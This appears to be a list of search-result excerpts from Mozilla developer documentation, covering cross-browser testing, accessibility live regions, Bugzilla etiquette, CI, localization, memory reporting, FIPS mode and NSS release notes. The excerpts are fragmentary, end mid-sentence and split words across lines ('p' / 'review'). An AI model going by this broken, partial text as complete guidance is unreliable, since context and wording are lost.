objective: to gain an understanding of the high-level concepts involved in cross-browser testing. gotta test 'em all? when doing cross-browser testing, you need to work out a list of browsers you will need to test on to start with. ...
...structions. for a basic website, what you need to do is copy the website tracking code block and paste it into all the different pages you want to track using google analytics on your site. you could place the snippets below your closing </body> tag, or somewhere else appropriate that keeps it from getting muddled up with your application code. upload the changes to the development server, or whe
rever else you need your code. that's it! your site should now be ready to start reporting analytics data. studying analytics data now you should be able to go back to the analytics web homepage, and start looking at the data you've collected about your site (you need to leave a little bit of time for some data to actually be collected, of course.) by default, you should see the reporting tab, l...
... for a separate development server. an example is django waffle flags. summary after reading this article you should now have a good idea of what you can do to identify your target audience/target browser list, and then effectively carry out cross-browser testing on that list. next we'll turn our attention to the actual code issues your testing might uncover, starting with html and css. ...
Accessibility/LiveRegionDevGuide
this page is currently under construction. this developer's guide lays out general guidelines that assistive technology (at) developers can use in developing live region support. this guide was written from an atk/at-spi point of view as part of the orca live region support project. however, many of the concepts were also used during the development of fi
revox, an at using iaccessible2. sometimes the very best guide for some developers is the code itself. please refer to the liveregions and gecko python modules in orca for a real world example. for more information about live regions, please read the aria properties spec or the live region report to learn about aria live region markup and the live region api support document for the latest firefox api with regards to live regions. as...
...r politeness level for the event and can have values of "off", "polite", "assertive" and "rude". this property, along with an event's time stamp, determine the priority of a message within the priority queue. the following describes actions that should be taken for an event with the given politeness level: off: no action should be taken. the event should be filtered out as early as possible to p
revent performance degradation. polite: a message should be derived from the event and added to the queue. assertive: the queue should be purged of 'polite' messages and the new message should be added to the queue. speak should not be interrupted. rude: the queue should be purged of 'polite' and 'assertive' messages and the new message should be added to the queue. current utterances should be al...
...essages are queued according to the 'live' property and 'alert' channel messages bypass the queue and are output immediately. the rationale being that alerts are meant to quickly grab the user's attention in the event of a major issue, such as a system/server failure. container-relevant politeness advancing setting all off persisting politeness level navigation navigate to next and p
revious live regions bookmarking ...
Accessibility information for UI designers and developers
you could consider using patterns besides colored areas: again, if people are unable to distinguish the colors, they can rely on the patterns instead. see also: understanding sc 1.4.3: contrast the focus indicator users who navigate by keyboard (or other specialised input methods), rely on focus styles to see where they are on the page. only one element has focus at a given time, typically
revealed by browsers with a dotted outline. css lets authors change what the focus indicator look like, so you can design it to match branding. here's an example of someone tabbing through a footer, the focus moves around: note: don't remove the focus indicator, as without it, users that can't or don't use a mouse cannot see where they are. it would be like removing the mouse indicator. see als...
...ovide unexpected input, explain what is wrong and, if possible, how to correct it. this is specifically important in these cases: the user input is about legal commitments or financial transactions it updates or removes the user's data in a system when recording tests responses in those cases, ensure users can change submissions, automatically check for errors. or provide an opportunity to
review the input before submitting it. use default controls controls that are built into browsers come with a lot of accessibility for free. for example, the select element displays an ideal mobile interface on mobile operating systems like android and ios. on desktop with a keyboard, it lets people type a character, say ‘k’, to jump directly to options starting with ‘k’. it is recommended ...
...and animations, note that some users could experience distraction, dizziness or nausea. pages with a parallax effect can particularly cause troubles. to help these users, you could offer a setting to turn off animations, or wrap the css in the prefers-reduce-motion media query. ...
Accessibility and Mozilla
text, etc. they also define a list of possible object states, such as focused, read-only, checked, etc.accessibility features in firefoxfirefox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. we are optimistic that jaws support will catch up this year. in recent articles from both afb's access world and nfb's voice of the nation's blind,
reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard commands are still available, so users can become comfortable and productive right away.accessibility information for core gecko developersboth end users and developers are invited for discussion on the live irc channel at irc.mozilla.org/#accessibility. since this...
...lar order.accessibility/liveregiondevguidethis page is currently under construction. this developer's guide lays out general guidelines that assistive technology (at) developers can use in developing live region support. this guide was written from an atk/at-spi point of view as part of the orca live region support project. however, many of the concepts were also used during the development of fi
revox, an at using iaccessible2.accessible toolkit checklistplease contact the mozilla accessibility community with questions or feedback.csun firefox materialsfirefox 1.5 is a fast, free, standards compliant web browser which is rapidly gaining recognition for its fresh, streamlined approach to browsing the web. in addition to winning major awards such as pc world product of the year, firefox has at...
... user agent, i.e. software that renders web content. the uaag is not the basis for any government accessibility regulations at this time.multiprocess on windowsa high-level overview of the ideas behind the a11y+e10s design is available on the wiki.software accessibility: where are we today?the accessibility of computer software has seen drastic improvements over the past two decades. this article
reviews the progress and technology as it has developed.zoomtextwe've made a lot of progress with mozilla/zoomtext compatibility. ...
Index
r descriptions, to get visibility in external search engine results, through having an icon that attracts a user’s attention from a category list, to screenshots that show how useful your add-on is. 676 index add-ons, glossary, guide, index found 689 pages: 677 signing and distributing your add-on add-ons, extensions, webextensions, distribution, publication,
reviews, signing add-ons need to be signed before they can be installed into release and beta versions of firefox. this signing process takes place through addons.mozilla.org (amo), whether you choose to distribute your add-on through amo or to do it yourself. 678 make money from browser extensions guide, monetization, webextensions, distribution while users can download br...
...le suggests the steps you might want to follow, as well as offering some pointers to a suitable timeline. 682 submitting an add-on add-ons, beginner, tutorial, webextensions this article walks through the process of publishing an add-on. if you just want to get started, head to the submit a new add-on page on amo. 683 source code submission add-ons, extensions,
review policy, distribution to complete the
review process at addons.mozilla.org (amo),
reviewers must be able to read the code in your extension. some build processes render extension code difficult to read. these processes include minifying your code, as well as the use of module bundlers or similar tools, such as webpack. in this case, when you upload your extension to amo, you will need to ...
...ons, firefox, guide, tutorial, add-on the theme generator on addons.mozilla.org (amo) guides you through the process of creating a theme for firefox. once you have defined the colors and image for your theme, the generator will submit your new theme to amo. you may submit themes for publishing on amo or for self-distribution. 688 third party library usage add-ons, extensions,
review policy to complete the
review process at addons.mozilla.org (amo),
reviewers must be able to verify the code in your extension. you may include third-party libraries in your extension. in that case, when you upload your extension to amo, you will need to provide links to the library source code. 689 updates firefox supports automated updates to add-ons using json up...
Frequently Asked Questions for Lightweight themes
t your style. what kind of computers and operating systems do lightweight themes work with? lightweight themes work with any type of computer that has firefox installed. this includes mac, linux, windows, and android platforms. what can lightweight themes do? lightweight themes change the header area of your browser, including the tab text color and the background tab colors. ...
...lightweight themes do? lightweight themes change the header area of your browser, including the tab text color and the background tab colors. you can easily p
review a design and install it without needing to restart. installing lightweight themes how do i add lightweight themes to my firefox? in just a few seconds, you can install a theme and transform the look of your firefox web browser. p
review any theme by clicking "tap to p
review"; the design appears in your browser header so you can "try it on." when you're ready, just click the blue install theme button. once a theme is installed, it is saved in the add-ons manager, where you can enable or disable them as you wish. simply go to the tools > add-ons menu and click on the appearance tab. are lightweight themes free? yes. themes ar...
...ing your own themes can i create my own theme? absolutely! all you need to do is create two graphics files in your favorite graphics editing program (e.g., photoshop). to get started read more about how to create a theme. are there any content guidelines? yes. we are big fans of creativity, but want to ensure that the art displayed in the themes gallery meets a basic set of guidelines. please
review the terms of service and conditions of use for authoritative and complete language. do i still retain ownership over artwork that i upload? yes. your artwork will always be your artwork. after creating a lightweight theme, can i edit the design? yes. if at any point you need to edit or delete your theme design after it has been submitted to the gallery, you can access it from the submissio...
What to do and what not to do in Bugzilla
g. there are no clear rules for verifying worksforme. in general you should make sure that the bug has been resolved for a few months and no complaints about the resolution have come up. note: because of how duplicate detection works in bugzilla, you should try not to verify bugs immediately after they're marked fixed; instead, let a little time pass first. this isn't mandatory, but can help p
revent accidental filing of duplicates of a bug that's already been fixed. changing the bug information fields summary you should change the summary if the current one is unclear or does not correctly describe the issue covered by the bug. you should not change the summary in order to morph the bug to describe a different issue. in this case the bug should be resolved and another bug should be op...
...he blocker severity should be used very seldomly, because only a fraction of the hundreds of thousands bugs really block the development of mozilla and these are normally fixed very quickly. as a result, bugs which are unconfirmed for more than a few days do not qualify for the blocker severity. the exceptions to this rule are platform-specific or compiler-specific bugs. basically, anything that p
revents builds from building, running, or being used for dogfood (able to use bugzilla, tinderbox, lxr, etc.) is a blocker. bug reports about crashes, hangs, data-loss, or severe security exploits (e.g. remote execution of arbitrary code) get the critical severity. priority/target milestone as stated in the bugzilla etiquette, you must not change the target milestone and priority fields. these fie...
...eally know they are js engine bugs, and don't leave bugs in the js engine component if you know that the malfunction being described is a dom problem. bug flags mozilla drivers use flags to identify bugs blocking a release. you may only use the blocking? flag to nominate bugs for blocking status. the use of the blocking- flag and the blocking+ flag is prohibited. continued abuse will result in
revocation of your bugzilla privileges. mass changes mass changes (changes to more than one bug simultaneously) are discouraged. don't do it! ...
Continuous Integration
as sheriffs. the sheriffs' role is to "keep the tree green", or in other words, to keep the code in our respositories in a good state, to the extent that the state is reflected in the output shown on treeherder. when sheriffs see a build or test has been broken, they are empowered to take one of several actions, including backing out a patch which caused the problem and closing the tree (i.e., p
reventing any additional commits). results in treeherder are ordered by mercurial pushes. each taskcluster job is represented by a colored label; green means a job has succeeded, while other colors represent different kinds of problems. the label text indicates the job type. for a full list of job types, see the help menu in treeherder's upper-right corner. below is a list of the most common. b...
...instead of being triggered by a push to hg. hf - static rooting hazard analysis s - static analysis v - valgrind build and test jobs; these jobs create valgrind-compatible builds and run a small set of valgrind tests on them. builds that run in ci are clobber builds. clobber builds mean the directory hierarchy, including the local source and object directory are deleted if it exists from a p
revious build. functional tests these jobs are scheduled after a build job has successfully produced a build. these test jobs can sometimes run even if a build job fails, if the build job failed during 'make check'. talos performance tests all performance tests displayed in treeherder are run using the talos framework, and denoted by the letter t. these jobs are scheduled at the same time as th...
...m will likely be expanded with support for android. post-job analysis and alerts there is some analysis of test data that occurs out-of-band after jobs complete. perfherder alerts we track changes to talos and other performance frameworks inside perfherder, and try to automatically alert when there is a sustained change exceeding a certain magnitude (specified per test). performance sheriffs
review the list of alerts on a regular basis and file bugs if appropriate. you can view the current set of alerts on the perfherder alerts dashboard. intermittent failures after functional tests complete, test log data are combined with treeherder's failure classification data. the result is the treeherder intermittent failures view. the "orange factor" is the average number of intermittent test fa...
Creating a Language Pack
wser chrome browser aboutcerterror.dtd // add and localize this file ... // lots of notifications about missing entities ... x-testing: changed: 6 missinginfiles: 6124 missing: 5 0% of entries changed this step is not necessary anymore to create the language pack, because it is included in the next command. it is only useful if you want to p
review the contents of the mergedir. you'll see that it contains the files which in your localization were missing some entities. all other files will be taken from x-testing directly. it's now time to create a langpack with: $ make langpack-x-testing locale_mergedir=$(pwd)/mergedir each time you need to generate a new langpack, you need to run this command. remember that you need to be in the dire...
...tp://ftp.mozilla.org/pub/mozilla.o....en-us.mac.dmg to /users/your_id/mozilla/vc/firefox/browser/locales/../../dist/firefox-3.6b5pre.en-us.mac.dmg the en-us binary has been downloaded. let's unpack it $ make unpack again, for 64-bit mac, append moz_pkg_platform=mac to this command. at the end of the process, you should see the following success message. ... done unpacking let's check which
revision the binary was built from. $ make ident fx_
revision 237dccbcb967 buildid 20091126033851 you can now go back to your source hg clone. $ cd ../../../mozilla-aurora and update the source code to this
revision. $ hg update -r 237dccbcb967 3 files updated, 0 files merged, 0 files removed, 0 files unresolved the source code has been updated to the
revision the binary was built from. let'...
...users/your_id/mozilla/vc/mozilla-aurora/browser/locales/l10n.ini /users/your_id/mozilla/vc/l10n-central x-testing x-testing: browser chrome browser aboutcerterror.dtd // add and localize this file ... // lots of notifications about missing entities ... x-testing: changed: 6 missinginfiles: 6124 missing: 5 0% of entries changed if you now p
review the contents of the mergedir, you'll see that it contains the files which in your localization were missing some entities. all other files will be taken from en-us directly. it's now time to repackage the en-us binary with $ make installers-x-testing locale_mergedir=$(pwd)/mergedir again, for 64-bit mac, append moz_pkg_platform=mac to this command. each time you want to generate a new bina...
Debugging Frame Reflow
when the frame's reflow is finished the following information is displayed : reflow metric (desired) width, height max. ...
... r=0 a=8940,uc c=0,0 cnt=870 here the uc shows that on initial reflow the available height for the outer table frame is unconstrained. the table cell requires its children to compute the mes. it is reported back from the block as: block 02d7bcf8 d=300,300 me=300 the block max. element size is 300 twips. the second table reflow is started at rowg 00b984a4 r=2 a=1500,uc c=1500,uc cnt=879 where the p
revious information is used. the block has been required to compute the max. element size only once and it reports now: block 02d7bcf8 d=1410,300 the block shows the same address as the p
revious one. frames with children that overflow the parent have the ns_frame_outside_children flag set. for these frames the overflow area is displayed as block 025ed8f0 d=8940,1020 o=(0,0) 9180 x 1020. the overflow ...
...sometimes the log is clearer if only the main frames are shown. the entries in the reflow log can be controlled on a frame level. for instance adding text 0 to the rules in reflow_rules.txt would hide the text entries from the reflow. ...
Browser API
necessary to be able to implement back, forward, stop, and reload buttons. htmliframeelement.reload() allows reloading of the <iframe> element content. htmliframeelement.stop() allows stopping of the <iframe>'s content loading. htmliframeelement.getcangoback() indicates whether it's possible to navigate backwards. htmliframeelement.goback() changes the location of the <iframe> for the p
revious location in its browsing history. htmliframeelement.getcangoforward() indicates whether it's possible to navigate forward. htmliframeelement.goforward() changes the location of the <iframe> for the next location in its browsing history. management methods the next set of methods manage the resources used by a browser <iframe>. these are especially useful for implementing tabbed browser...
...oring it at the specified filename/path. htmliframeelement.executescript() allows a specified script to be executed against a page loaded in the browser <iframe>. htmliframeelement.findall() searches for a string in a browser <iframe>'s content; if found, the first instance of the string relative to the caret position will be highlighted. htmliframeelement.findnext() highlights the next or p
revious instance of a search result after a findall() search has been carried out. htmliframeelement.getcontentdimensions() retrieves the x and y dimensions of the content window. htmliframeelement.getmanifest() retrieves the manifest of an app loaded in the browser <iframe> and returns it as json. htmliframeelement.getscreenshot() takes a screenshot of the browser <iframe>'s content. this is p...
...o get thumbnails of tabs in a tabbed browser app. htmliframeelement.purgehistory() clears all the resources (cookies, localstorage, cache, etc.) associated with the browser <iframe>. htmliframeelement.sendtouchevent() sends a touchevent to the <iframe>'s content. note that this method is available for touch enabled devices only. htmliframeelement.removenextpaintlistener() removes a handler p
reviously set with addnextpaintlistener(). htmliframeelement.zoom() changes the zoom factor of the browser <iframe>'s content. this is particularly useful for zooming in/out on non-touch-enabled devices. events in order to allow an application to manage the browser <iframe>, the application can listen for new events about what's happening within the browser <iframe>. the following new events can...
How to implement a custom autocomplete search component
nction providerautocompletesearch() { } providerautocompletesearch.prototype = { classid: class_id, classdescription : class_name, contractid : contract_id, /** * searches for a given string and notifies a listener (either synchronously * or asynchronously) of the result * * @param searchstring the string to search for * @param searchparam an extra parameter * @param p
reviousresult a p
revious result to use for faster searchinig * @param listener the listener to notify when the search is complete */ startsearch: function(searchstring, searchparam, p
reviousresult, listener) { var results = ['mary', 'john']; var autocomplete_result = new providerautocompleteresult(searchstring, ci.nsiautocompleteresult.result_success, 0, "", results, null); ...
...t...
...the json is converte...
Addon
of the options dialog to display for this add-on. pendingupgrade read only addon if this add-on will be replaced on the next restart, this property will hold the new addon object. releasenotesuri read only nsiuri a uri for release notes for this version. screenshots read only addonscreenshot[] an array of addonscreenshot objects containing urls of p
review images for the add-on. size read only integer the size of the add-on's files in bytes. for an add-on that has not yet been downloaded, this may be an estimated value. sourceuri read only nsiuri the uri that this add-on was installed from. syncguid read only string string guid to identify the add-on in sync. the guid is generated randomly and is m...
.... ...
... void datadirectorycallback...
CustomizableUI.jsm
e/enable sequence. onwidgetcreated(awidgetid) fired when a widget with id awidgetid has been created, but before it is added to any placements or any dom nodes have been constructed. only fired for api-based widgets. onwidgetaftercreation(awidgetid, aarea) fired after a widget with id awidgetid has been created, and has been added to either its default area or the area in which it was placed p
reviously. if the widget has no default area and/or it has never been placed anywhere, aarea may be null. only fired for api-based widgets. onwidgetdestroyed(awidgetid) fired when widgets are destroyed. awidgetid is the widget that is being destroyed. only fired for api-based widgets. onwidgetinstanceremoved(awidgetid, adocument) fired when a window is unloaded and a widget's instance is destroye...
...e awindow the window where you want to fetch the dom node. return value the customize target dom node for aarea in awindow reset() reset the customization state back to its default. this is the nuclear option. you should never call this except if the user explicitly requests it. firefox does this when the user clicks the "restore defaults" button in customize mode. undoreset() undoes a p
revious reset, restoring the state of the ui to the state prior to the reset. this can only be called immediately after reset(). if any of the ui is changed after calling reset(), then undoreset will be a no-op. removeextratoolbar() remove a custom toolbar added in a p
revious version of firefox or using an add-on. nb: only works on the customizable toolbars generated by the toolbox itself. intended...
...idgets and non-existing widgets are not taken into account in determining whether we're in the default state. nb: this is a property with a getter. the getter is not cheap, because it does smart things with non-removable non-default items, non-existent items, and so forth. please don't call unless necessary. canundoreset bool whether the "restore defaults" operation can be
reverted. this is only true after "restore defaults" has been performed and no other ui changes happen after the "restore defaults" operation. area constants attribute type description area_navbar string "nav-bar", a constant reference to the id of the navigation toolbar. area_tabstrip string "tabstoolbar", a constant reference to the id of the tab...
Localization content best practices
ntity name/key) reference. land good quality strings don't land temporary strings. if you already know that your strings are temporary, they shouldn't be exposed to the localization process. this would waste everybody's time and create unnecessary frustration: localizers have to translate strings that are destined to change, developers will need to use new ids later to update them. ...
...te unnecessary frustration: localizers have to translate strings that are destined to change, developers will need to use new ids later to update them. if you're
reviewing a patch, check also strings for grammar errors, capitalization or inconsistencies. for example, use the single unicode …, and not three dots. if you have any doubts about the quality of strings, ask a copywriter to do a copy
review of this text. ideally, all strings landing in code should originate from approved ux wireframes, any copy
review should be part of the initial stage of creating these wireframes. use unicode characters over their ascii counterparts when possible strings should use directional quotation marks when possible. u+2018 and u+2019 (\u2018 and \u2019 in javascript) are the left and right single ...
... you're following the basic rules described in this document. if you have doubts about the localizability of some text or structure (not about the text itself, that would need copywriters), it's definitely good to ask feedback. keywords: l12y, late-l10n two keywords are generally used on bugzilla: l12y: it's used to track "localizability" bugs. a bug marked with l12y describes an issue that p
revents localizers to create a good quality localization. some examples: hard-coded strings, implicit grammar structure in the code, lack of plural forms support, ui that breaks with long strings, etc. late-l10n: it's used by release-drivers to identify bugs, involving new strings, that will land late in the cycle, typically after soft string freeze in firefox os. alias :l10n the :l10n alias on b...
Localizing extension descriptions
for localizing add-on descriptions and other metadata. all of the different descriptions now appear in the install.rdf file using em:localized properties. each has at least one em:locale property marking the locale that the information should be used for and then all the various strings for the locale. ...
...scription> <em:locale>de-de</em:locale> <em:name>tab sidebar</em:name> <em:description>zeigt in einer sidebar vorschaubilder der inhalte aller offenen tabs an.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>es-es</em:locale> <em:name>tab sidebar</em:name> <em:description>muestra una vista p
revia de sus pestañas en su panel lateral.</em:description> </description> </em:localized> <em:localized> <description> <em:locale>nl-nl</em:locale> <em:name>tab sidebar</em:name> <em:description>laat voorbeeldweergaven van uw tabbladen in de zijbalk zien.</em:description> </description> </em:localized> <em:name>tab sidebar</em:name> <em:...
...the localization information provided by the em:localized property can be overriden using a set of localized preferences as detailed below. the process for selecting the em:localized property to use for a given locale is as follows: if a property exist...
Localizing with Mozilla Translator
(mt) is a java-based cat tool used to translate a variety of mozilla applications. since it is written in java, any platform that supports java 1.7 or above supports mozillatranslator also. if you decide to use mozillatranslator, be sure you have java 1.7 or above installed on your system. like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from p
revious translations, thus cutting time and effort when localizing new versions of mozilla applications. getting started with mozillatranslator mt uses products as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite reposito...
... for these few files, you will have to export them individually and reimport them. if you are a ''not so good'' mt user, however, you can just create a new product (or several ones; see next recipe to know why), run file -> update on them (you'll get a list of all the strings) and then run edit -> autotranslate. most of the strings will be automatically filled, although if you do this you should
review them, because for en-us strings with several possible translations, mt will choose one of them, which could not be the one you want. from cvs to mercurial in mt so, you have a firefox product in mt with a platform neutral and, inside it, several directories (''components'' in mt terminology) more or less like the second sample above, checked out from cvs. now, you want to start working dir...
...it is just instructed to read directory subtrees and ignore "cvs" and ".svn" directories it finds. if you have opted for the first solution, you will find yourself with some new products completely untranslated (once you update each of them). to migrate the existing translation in the old product, you need to export partial glossaries from the old product, selecting the ''link'' origin (see the p
revious section) and importing them into the ''link'' target. defining symbolic links for browser this is an example just for browser, without shared components, but it should suffice to get the idea. ; assuming we are in a directory containing mozilla-central/ $ mkdir locale-only $ cd locale-only $ mkdir -p browser extensions/reporter other-licenses/branding/firefox/ $ cd browser; ln ...
Initial setup
accounts that you need to be aware of as you begin. they're not required for you to begin contributing, but will be required when you are preparing to produce an official release. for now, simply be aware that these will become important as your efforts progress. these accounts will store your code, contributions, and help you produce an official localization. hg (mercurial) mercurial is the
revision control environment that houses the main mozilla source code as well as localized code for each official mozilla localization. you will need this for localizing mozilla applications. hg commit access is not necessary to begin localizing. after you have some experience with hg, you may want to get commit access. at that point, you must visit the mozilla committer page and follow the process o...
...ng. after you have some experience with hg, you may want to get commit access. at that point, you must visit the mozilla committer page and follow the process outlined there. here is an example bug that illustrates the process well. use this bug template when filing your hg account registration bug. add a request about creating your locale's repository to the new locales newsgroup. svn svn is a
revision control environment that mozilla uses to house mozilla source websites and their localizations for each official mozilla localization. see this wiki page about how to gain access to svn. the svn for localizers guide will help you learn the most important svn commands for l10n. add a request about creating your locale's repository to the new locales newsgroup. web-based l10n tools we'll ...
...some suggestions: windows: notepad++ or notepad2 gnu/linux: vim, gedit or kate mac os x: textwrangler gnu make make is a tool which controls the generation of executables. you can find version 3.79.1 or higher here. unfortunately, other varieties of make won't do. end of initial setup now that you've finished your initial setup, it's time for the best part: translating! « p
reviousnext » ...
Setting up the infrastructure
gettext calls in *thtml or *.php files, so you may need to adjust that to your code. compile-mo.sh will only compile all locales' messages.po files to message.mo files. this is useful when a localizer submits a new version of the messages.po file. on the staging server you can also choose to set up a cronjob that will run compile-mo.sh every n minutes. ...
... run extract-po.sh. restart apache to reload gettext files (necessary for any text changes). merge the l10n branch back to main trunk (if the l10n branch was created in step 1). copy files over to svn. ...
...will give you a bird's-eye view on the statistics of translated, fuzzy and missing strings for each locale. create en-us locale (locale/lc_messages/) in the locale folder. create an empty filed named messages.po in the locale/lc_messages folder. create new locales by repeating steps 4 and 5 for each of them.
review the english content following the web content localizability guidelines.
review your code following the web applications localizability guidelines. run extract-po.sh. restart apache to reload gettext files (necessary for any text changes). merge the l10n branch back to main trunk (if the l10n branch was created in step 1). copy files over to svn. set up the staging server. set up a cronjob to svn up every n minutes. set up a cronjob to run compile-mo.sh ever...
Mozilla DOM Hacking Guide
hen cached for further use. most of the helper classes implement one or more nsixpcscriptable methods. those methods are used by xpconnect when we require something from javascript that was not defined in idl. for example, getproperty() is used when retrieving an attribute that was not defined in idl, and newresolve() is used when resolving for the first time an attribute or method that was not p
reviously resolved. please see the nsixpcscriptable interface for more information. the nsdomclassinfo class the heart of class info is the nsdomclassinfo class, defined in nsdomclassinfo.h. it implements two interfaces besides nsisupports: nsixpcscriptable and nsiclassinfo. we already know what nsixpcscriptable is used for (see the p
revious section). nsiclassinfo is an xpcom interface, very well...
...esolve() this section will describe in detail the absolutely horrific globalresolve() member function of the nswindowsh helper, as an example of those functions. this is not for the faint of heart, and is not absolutely necessary, so you might want to skip this section if you don't have too much time (and i suppose you don't). user's guide to class info warning: this document has not yet been
reviewed by the dom gurus, it might contain some errors. specifically, due to some changes that happened around, april 2002, some things that were not possible before are now possible. i will try to update this guide as soon as possible. please send any comment to fabian guisset. when should domclassinfo be used to add a new interface to an existing dom object to expose a new dom object to java...
...pen for our example, it is the window object. the action is setting a property. what should happen is that setting .location should set .location.href. with that information in hand, we can start coding. what there is to do locate the dom object classinfo data in the sclassinfodata array. in our example, it is the window object. the three parameters passed to the macro, as described in the p
revious section, are the dom object name, the scriptable helper class, and the scriptable flags. the scriptable flags tell you which nsixpcscriptable interfaces are implemented by this dom object. if the flag you need is already there, then go on to the next step. else, add it to the flag list. remember the name of the scriptable helper class for this object. for most objects, it is the nsdomgeneri...
Memory reporting
mozilla code has infrastructure that lets different parts of the code report on their memory usage. this is most obviously used in about:memory and telemetry. this document describes things that you should know when writing a memory reporter. memory reporters a memory reporter makes one or more memory measurements (a.k.a. reports). ...
... if d features multiple inheritance. and if amallocsizeof is passed a pointer that doesn't point to the start of an object it will give bogus results or even crash. so, if in doubt, define d::sizeofincludingthis and you should be safe. the override annotations say that d's methods override the corresponding methods in b. on supporting compilers it gets expanded to the override keyword. it helps p
revent accidentally having small differences in the function signatures (e.g. forgetting a const) that p
revent the overriding from happening. other considerations a number of the existing basic data structures already have sizeof{in,ex}cludingthis functions, e.g. nstarray and nsthashtable. nsthashtable's functions take an extra argument which is a pointer to a function that measures the memory usa...
... above. but often you'll have a singleton object that needs measuring, in which case it is usually better not to have a separate reporter object, but instead for the singleton object to implement nsimemoryreporter, and thus measure and report its own memory consumption. there are many such examples in the code, such as nscategorymanager. if you write a memory reporter, please get two people to
review it: (a) someone who knows the data structures being measured, and (b) nnethercote, who can check for all the things covered by this document. thanks! dmd dmd is a tool that detects two deficiencies with memory reporters. it identifies places in the code that allocate memory but do not have memory reporters for that memory. this helps drive about:memory's heap-unclassified number down. it...
Patches and pushes
your command-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link. once attached and labeled as a patch, open the attachment details. in the attachment details, select the ? from the dropdown menu next to the
review flag. this will display a text box to assign the
review to someone. enter :flod as the requestee.
review, commit, & land address any
review comments made by the
reviewers and update the patch until it receives an r+ rating. if the r+ is "with nits" (i.e., that's short for nit-picky requests), fix those before committing. also, no new patch attachment will be needed. commit the patch to y...
...for example: hg ci -m "bug 654321, copied the comment from the doc without reading, r=nobody" path-to-changed-files close the bug, copying the url to your change in the closing comment. ...
...de by the
reviewers and update the patch until it receives an r+ rating. if the r+ is "with nits" (i.e., that's short for nit-picky requests), fix those before committing. also, no new patch attachment will be needed. commit the patch to your aurora repo. only commit the changes you have
reviewed. use a commit message that mentions the bug number, describes the change, and mentions the
reviewer. for example: hg ci -m "bug 654321, copied the comment from the doc without reading, r=nobody" path-to-changed-files close the bug, copying the url to your change in the closing comment. write up something like this for your comment: landed this on aurora, http://hg.mozilla.org/releases/l10n/mozilla-aurora/ab-cd/
rev/adfe1234feac, marking fixed. update your sign-offs on the l10n...
FIPS Mode - an explanation
so, in order for mozilla firefox and thunderbird to be usable by people who are subject to the fips regulations, mozilla's cryptographic software must be able to operate in a mode that is fully compliant with fips 140. to that end, mozilla products can function in a "fips mode", which is really "fips 140 mode", when paired with a compliant copy of nss. (note, the current version of fips 140 is
revision 2, a.k.a. fips 140-2. fips 140-3 is being devised by nist now for adoption in the future.) users who are subject to the fips regulations must ensure that they have mozilla's fips mode enabled when they use mozilla software, in order to be fully conformant. instructions for how to configure firefox into fips mode may be found on support.mozilla.com. is nss fips-140 compliant? mozilla's n...
...ozilla's fips mode enabled when they use mozilla software, in order to be fully conformant. instructions for how to configure firefox into fips mode may be found on support.mozilla.com. is nss fips-140 compliant? mozilla's nss cryptographic software has been tested by government-approved independent testing labs and certified by nist as being fips 140 compliant when operated in fips mode on 4 p
revious occasions. as of this writing, nss is now being retested to be recertified for the fifth time. nss was the first open source cryptographic library to be fips certified. what is fips mode all about? a fips-140 compliant application must do all of its cryptography in a fips-140 certified "device". whether it is hardware or software, that device will have all the cryptographic engines in...
...ent from normal non-fips mode? in normal non-fips mode, the "master password" is optional and is allowed to be a weak short password. the user is only required to enter his master password to use his own private keys (if he has any) or to access his stored web-site passwords. the user is not required to enter the master password to visit ordinary https servers, nor to view certificates he has p
reviously stored. in non-fips mode, nss is willing and able to use popular non-fips approved cryptographic algorithms, such as rc4 and md5, to communicate with older https servers. nss divides its operations up into two "devices" rather than just one. one device does all the operations that may be done without needing to authenticate, and the other device stores the user's certificates and private...
Getting Started With NSS
ized as we would like it to be. you could contribute by organizing it in a better way.) nss sample code a good place to start learning how to write nss applications are the command line tools that are maintained by the nss developers. you can find them in subdirectory mozilla/security/nss/cmd or have a look at some basic nss sample code. a new set of samples is currently under development and
review, see create new nss samples. you are welcome to download the samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch how to contribute ... (this section is still under construction, but there are many contribution opportunities) start by opening a bugzilla account at bugzilla.mozilla.org if you don't have one. nss :: libraries component for issues you'...
...ies) start by opening a bugzilla account at bugzilla.mozilla.org if you don't have one. nss :: libraries component for issues you'd like to work on. we maintain a list of nss bugs marked with a keyword "good-first-bug" that you can view. creating your patch seee our section on nss sources, building, and testing to get started making your patch. when you're satisfied with it, you'll need code
review. code
review http://phabricator.services.mozilla.com/ is our code
review tool, which uses your bugzilla account. use our phabricator user instructions to upload patches for
review. some items that will be evaluated during code
review are listed in checklist form on github. after passing
review, your patch can be landed by a member of the nss team. you can find us on mozilla irc in channel ...
...code only works when it has tests, and tests only work when they're part of the automation. ...
NSS 3.14.1 release notes
in nss 3.14.1 new functionality nss now has the ability to create signed ocsp responses. the ability to create signed ocsp responses has been added in nss 3.14.1. note that this code is used primarily for purposes of testing. new functions in ocspt.h cert_createocspsingleresponsegood cert_createocspsingleresponseunknown cert_createocspsingleresponse
revoked cert_createencodedocspsuccessresponse cert_createencodedocsperrorresponse new types in ocspt.h certocspresponderidtype notable changes in nss 3.14.1 windows ce support has been removed from the code base. bug 812399 - in nss 3.14, a regression caused bug 641052 / cve-2011-3640 to be re-introduced under certain situations. this regression onl...
... affected applications that initialize nss via the nss_nodb_init function. nss 3.14.1 includes the complete fix for this issue. bug 357025 - nss 3.14 added support for tokens that make use of cka_always_authenticate. however, when authenticating with such tokens, it was possible for an internal lock to be acquired twice, causing a hang. this hang has been fixed in nss 3.14.1. bug 802429 - in p
revious versions of nss, the "cipherorder" slot configuration flag was not respected, causing the most recently added slot that supported the requested pkcs#11 mechanism to be used instead. nss now correctly respects the supplied cipherorder. applications which use multiple pkcs#11 modules, which do not indicate which tokens should be used by default for particular algorithms, and which do make u...
...ad. nss now correctly respects the supplied cipherorder. applications which use multiple pkcs#11 modules, which do not indicate which tokens should be used by default for particular algorithms, and which do make use of cipherorder may now find that cryptographic operations occur on a different pkcs#11 token. bug 802429 - the nss softoken is now the default token for sha-256 and sha-512. in p
